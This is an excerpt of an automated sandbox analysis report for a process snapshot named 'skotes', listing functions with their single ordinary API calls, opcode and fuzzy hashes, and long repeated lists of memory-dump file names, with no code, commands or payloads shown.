Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 8995fa8b1712a01aa6c1eb04deb6abc550a93931b9437a517adcebbc7f11de1b
Instruction ID: 8b1862f9a84ab970201b4d7d09e17b2510c674a2b2b3d080c7c636bb7679c35d
Opcode Fuzzy Hash: 8995fa8b1712a01aa6c1eb04deb6abc550a93931b9437a517adcebbc7f11de1b
Instruction Fuzzy Hash: AF512870D00218ABDB18EB68CD497FEBB75FB45314F504298E905A73C2EF389E848B95

Function 00627124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,0062705B,?,?,00000000,00000000), ref: 00627166

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: a7020d7bd48acaecf857c3221aa0ac711956e704ad000811db43a11621215329
Instruction ID: c7b85f1ddab03b75b94f3c5853bd89662afd815c58e5b8e14059f8219dfb0b7a
Opcode Fuzzy Hash: a7020d7bd48acaecf857c3221aa0ac711956e704ad000811db43a11621215329
Instruction Fuzzy Hash: F8112A7290450DEBDB10DE94D888EDFB7BDAF08310F649266E512E3180EB30EA59CB65

Function 0062AC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 0062AC8D

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: d05861315e5e8cd7b7ed3491504a5d9e8803975e47bafe1ab826de1f00e91772
Instruction ID: f8e3bce49622cba17af53e7a70435348297984006f065a3f7a002b4770581aed
Opcode Fuzzy Hash: d05861315e5e8cd7b7ed3491504a5d9e8803975e47bafe1ab826de1f00e91772
Instruction Fuzzy Hash: D3111571A0460AAFCB05DF98E94199A7BF5EF48304F044069F809AB351D670EE21CBA5

Function 0062B04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00606CB7,?,?,0060D3FC,00606CB7,?,00607A8B,8B18EC84,051E0A69), ref: 0062B07E

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ab2f5a3a07d5ed722d33308da961ad4f8301ee63ade4a801161cf6b9274b552f
Instruction ID: b0c93a7d4836820a064638ebc70ebf3741dade2b7c814930447e5355cd46c7fd
Opcode Fuzzy Hash: ab2f5a3a07d5ed722d33308da961ad4f8301ee63ade4a801161cf6b9274b552f
Instruction Fuzzy Hash: CFE0E531501E3256D7323265BC04BEBA74BCF423E0F053210EE2496290DB50CC009DE4

Function 00631775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00631B65,?,?,00000000,?,00631B65,00000000,0000000C), ref: 00631792

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7585eabf36fbabc6da699c952f662522f7af9c1a2729d9f9aae834e7ad19fa6e
Instruction ID: fd6436def271f95f898145a88a1e7cbee32cb42d5500c28202fc99826d57387f
Opcode Fuzzy Hash: 7585eabf36fbabc6da699c952f662522f7af9c1a2729d9f9aae834e7ad19fa6e
Instruction Fuzzy Hash: 9DD0923215010DBBDF129F94DC06EDE3BAAFF48714F018100BE1866020C732E832EB94

Function 05250D3F Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3285656480.0000000005250000.00000040.00001000.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5250000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10f612d5bf51e6299c4a713de61b61282c22efdafb5fa7b0bc8c927f4d64b3a6
Instruction ID: 71b2e63f2721284c0a5e8f54175e37868c3d76b0887d5cf93d541e5e8da67214
Opcode Fuzzy Hash: 10f612d5bf51e6299c4a713de61b61282c22efdafb5fa7b0bc8c927f4d64b3a6
Instruction Fuzzy Hash: B2F044AF22D2107E6102C586AF549BA679EEEDA731334C477F843C2101D6F459499131

Function 05250D36 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3285656480.0000000005250000.00000040.00001000.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5250000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe5a89368f56b410dcac7d9950554938e006cef5070f336c4489cd8ec3461283
Instruction ID: b11db7451ff7504b030c429d1cb6ba14656f45fd87c58a3588aead0be71fc2ad
Opcode Fuzzy Hash: fe5a89368f56b410dcac7d9950554938e006cef5070f336c4489cd8ec3461283
Instruction Fuzzy Hash: 0001A9AF23D1107DA107C5466E549BAB79EEED6731334C5B7F883C3102D6F559099131

Function 05250DC6 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3285656480.0000000005250000.00000040.00001000.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5250000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6964530ab148883736efc309b52f65068524a33b1f807f24199f0d8e2fe0090
Instruction ID: 439c8cbc3fbfe4f0957e785cf403cf745823e89d54e998be837ac25d02e6efa8
Opcode Fuzzy Hash: a6964530ab148883736efc309b52f65068524a33b1f807f24199f0d8e2fe0090
Instruction Fuzzy Hash: BC0126BB11E3502ED30382922E149F6BB69DEC7B3133884BBF842C7142D1A1480A9170

Function 05250D4D Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3285656480.0000000005250000.00000040.00001000.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5250000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb235f8269b1fef531d79c900b7b4109f30a4055a802e30c16967c79a8f424e8
Instruction ID: 1a51e6116411cde08d713f3b59301888604d4e16177dcd7c9938a99a3b9bbc88
Opcode Fuzzy Hash: eb235f8269b1fef531d79c900b7b4109f30a4055a802e30c16967c79a8f424e8
Instruction Fuzzy Hash: 25F096BF22D2107E6103C586AF549BAB79AEECAB31334C4B7F843C3101EAF45909A131

Function 05250D68 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3285656480.0000000005250000.00000040.00001000.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5250000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ec0fd928b2d467a5dce4bc0be6e7ea2d49fc3baf3ac10726f588342aa182e3d
Instruction ID: f065e78fb1b382b71c475a0125204b2ec37d2f2dfdb4a658a8f7be6ef5a5c172
Opcode Fuzzy Hash: 3ec0fd928b2d467a5dce4bc0be6e7ea2d49fc3baf3ac10726f588342aa182e3d
Instruction Fuzzy Hash: 55F0F6FB61D3616ED303C6D66E149BAB7AAEED7B3133584BBF842C3142D6E148099170

Function 05250DDB Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3285656480.0000000005250000.00000040.00001000.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5250000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2572c4053197cddcffd0da6950beb766ae1f9aa887811ecb20d36ef84b13aa1a
Instruction ID: 7594d0028853073dc2bd1abeb7cb0081232524ef008f0b2da757c054d6481403
Opcode Fuzzy Hash: 2572c4053197cddcffd0da6950beb766ae1f9aa887811ecb20d36ef84b13aa1a
Instruction Fuzzy Hash: 61E026EF23E010BDA606D0127DA8AF7676EC9C1730339D1E7F882C0007D292510E4034

Function 05250DA2 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3285656480.0000000005250000.00000040.00001000.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5250000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1de0ee733dd82aaee844d8766f9a68b6da3ce06e7237cece7c9d3956ead99b2
Instruction ID: 61ceecae17835e248893a92db53de9567946e5cbfda535db5dfb4cea297c5def
Opcode Fuzzy Hash: b1de0ee733dd82aaee844d8766f9a68b6da3ce06e7237cece7c9d3956ead99b2
Instruction Fuzzy Hash: 33E0D6BA22D001BCE202D0927E88ABAA31EEAC0730334C1B7F802C1002C3AA420E8032

Non-executed Functions

Function 00610E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00610F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00610F62

Part of subcall function 0061265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00612750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00610FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00610FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0061103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0061106B
